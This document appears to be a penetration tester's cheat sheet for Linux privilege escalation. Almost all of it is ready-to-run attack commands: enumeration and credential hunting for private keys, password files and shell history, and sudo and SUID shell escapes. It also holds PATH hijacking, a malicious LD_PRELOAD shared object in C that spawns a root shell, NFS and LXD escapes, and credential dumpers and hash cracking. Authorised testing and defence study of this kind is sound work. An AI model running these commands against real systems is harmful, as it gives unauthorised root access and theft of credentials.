Linux Privilege Escalation
This guide covers essential enumeration techniques for Linux privilege escalation.
TIP
Enumeration is the key to privilege escalation. Understand what pieces of information to look for.
Initial Orientation
Typically, we want to run a few basic commands to orient ourselves:
whoami- what user are we running asid- what groups does our user belong to?hostname- what is the server named, can we gather anything from the naming convention?ifconfigorip a- what subnet did we land in, does the host have additional NICs in other subnets?sudo -l- can our user run anything with sudo (as another user as root) without needing a password?
In some cases, sudo -l can lead to an immediate privilege escalation (for example, using sudo su).
Including screenshots of this information is helpful in client reports to demonstrate successful Remote Code Execution (RCE).
Key Enumeration Targets
When you gain initial shell access to the host, check the following details:
- OS Version
- Kernel Version
- Running Services
- Installed Packages and Versions
- Logged in Users
- User Home Directories
- .bash_history
- Sudo Privileges
- Configuration Files
- Readable Shadow File
- Password Hashes in /etc/passwd
- Cron Jobs
- Unmounted File Systems and Additional Drives
- SETUID and SETGID Permissions
- Writable Directories
- Writable Files
Operating System Information
cat /etc/os-release
Environment Variables
echo $PATH
env
Group Information
groups
cat /etc/group
Kernel Information
uname -a
cat /proc/version
lscpu
Login Shells
cat /etc/shells
File Systems
cat /etc/fstab
cat /etc/fstab | grep -v "#" | column -t
lsblk
Network Routes
route
Or:
ip route
Hidden Files
find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null
Hidden Directories
find / -type d -name ".*" -ls 2>/dev/null
Temporary Directories
ls -l /tmp /var/tmp /dev/shm
Running Processes
ps aux | grep root
ps au
Writable Directories
find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null
Initial Enumeration
ps aux | grep root
ps au
ls /home
ls -l ~/.ssh
history
sudo -l
ls -la /etc/cron.daily
lsblk
find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
uname -a
cat /etc/lsb-release
screen -v
./pspy64 -pf -i 1000
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null
echo $PATH
find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null
ldd /bin/ls
readelf -d <binary> | grep PATH
getcap -r / 2>/dev/null
Credential Hunting
for l in $(echo ".conf .config .cnf"); do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib|fonts|share|core"; done
for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc|lib"); do echo -e "\nFile: " $i; grep "user|password|pass" $i 2>/dev/null | grep -v "\#"; done
for l in $(echo ".sql .db .*db .db*"); do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc|lib|headers|share|man"; done
find /home/* -type f -name "*.txt" -o ! -name "*.*"
for l in $(echo ".py .pyc .pl .go .jar .c .sh"); do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc|lib|headers|share"; done
for ext in $(echo ".xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*"); do echo -e "\nFile extension: " $ext; find / -name *$ext 2>/dev/null | grep -v "lib|fonts|share|core"; done
cat /etc/crontab
ls -la /etc/cron.*/
grep -rnw "PRIVATE KEY" /* 2>/dev/null | grep ":1"
grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"
grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"
tail -n5 /home/*/.bash*
SUID / SGID / Capabilities
TIP
Cross-reference SUID/SGID binaries at https://gtfobins.github.io
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null
getcap -r / 2>/dev/null
Sudo Abuse
sudo -l
sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
sudo /usr/bin/python3 -c 'import os; os.system("/bin/bash")'
sudo /usr/bin/perl -e 'exec "/bin/bash";'
sudo /usr/bin/ruby -e 'exec "/bin/bash"'
sudo /usr/bin/awk 'BEGIN {system("/bin/bash")}'
sudo find / -exec /bin/bash \; -quit
sudo vim -c ':!/bin/bash'
sudo less /etc/passwd
sudo env /bin/bash
PATH Abuse
echo $PATH
PATH=.:${PATH}
echo '/bin/bash' > <command_name> && chmod +x <command_name>
LD_PRELOAD / Shared Library Hijack
ldd /bin/ls
sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart
readelf -d <binary> | grep PATH
Malicious shared object (root.c):
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
gcc src.c -fPIC -shared -o /tmp/root.so -nostartfiles
gcc src.c -fPIC -shared -o /development/libshared.so
NFS No_Root_Squash
showmount -e <ip>
sudo mount -t nfs <ip>:/tmp /mnt
cp /bin/bash /mnt/bash && chmod +s /mnt/bash
/mnt/bash -p
LXD / LXC Escape
lxd init
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
lxc init alpine r00t -c security.privileged=true
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
lxc start r00t
lxc exec r00t /bin/sh
tmux Session Hijack
tmux -S /shareds new -s debugsess
Kernel Exploits
uname -a
cat /etc/lsb-release
gcc kernel_exploit.c -o kernel_exploit
WARNING
Kernel exploits can crash the system. Confirm with the client first.
Lynis Audit
./lynis audit system
Mimipenguin / LaZagne
python3 mimipenguin.py
bash mimipenguin.sh
python2.7 lazagne.py all
python3 lazagne.py browsers
Firefox Saved Credentials
ls -l .mozilla/firefox/ | grep default
cat .mozilla/firefox/<profile>/logins.json | jq .
python3.9 firefox_decrypt.py
Shell Spawning / TTY Upgrade
python3 -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
/bin/sh -i
perl -e 'exec "/bin/sh";'
ruby -e 'exec "/bin/sh"'
awk 'BEGIN {system("/bin/sh")}'
find . -exec /bin/sh \; -quit
vim -c ':!/bin/sh'
lua -e 'os.execute("/bin/sh")'
Full interactive TTY:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
Password Cracking
hashcat -m 1000 dumpedhashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.cracked
unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes
python3 ssh2john.py SSH.private > ssh.hash && john ssh.hash --show
office2john.py Protected.docx > protected-docx.hash
john --wordlist=rockyou.txt protected-docx.hash
pdf2john.pl PDF.pdf > pdf.hash && john --wordlist=rockyou.txt pdf.hash
zip2john ZIP.zip > zip.hash && john --wordlist=rockyou.txt zip.hash
Writable Files
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null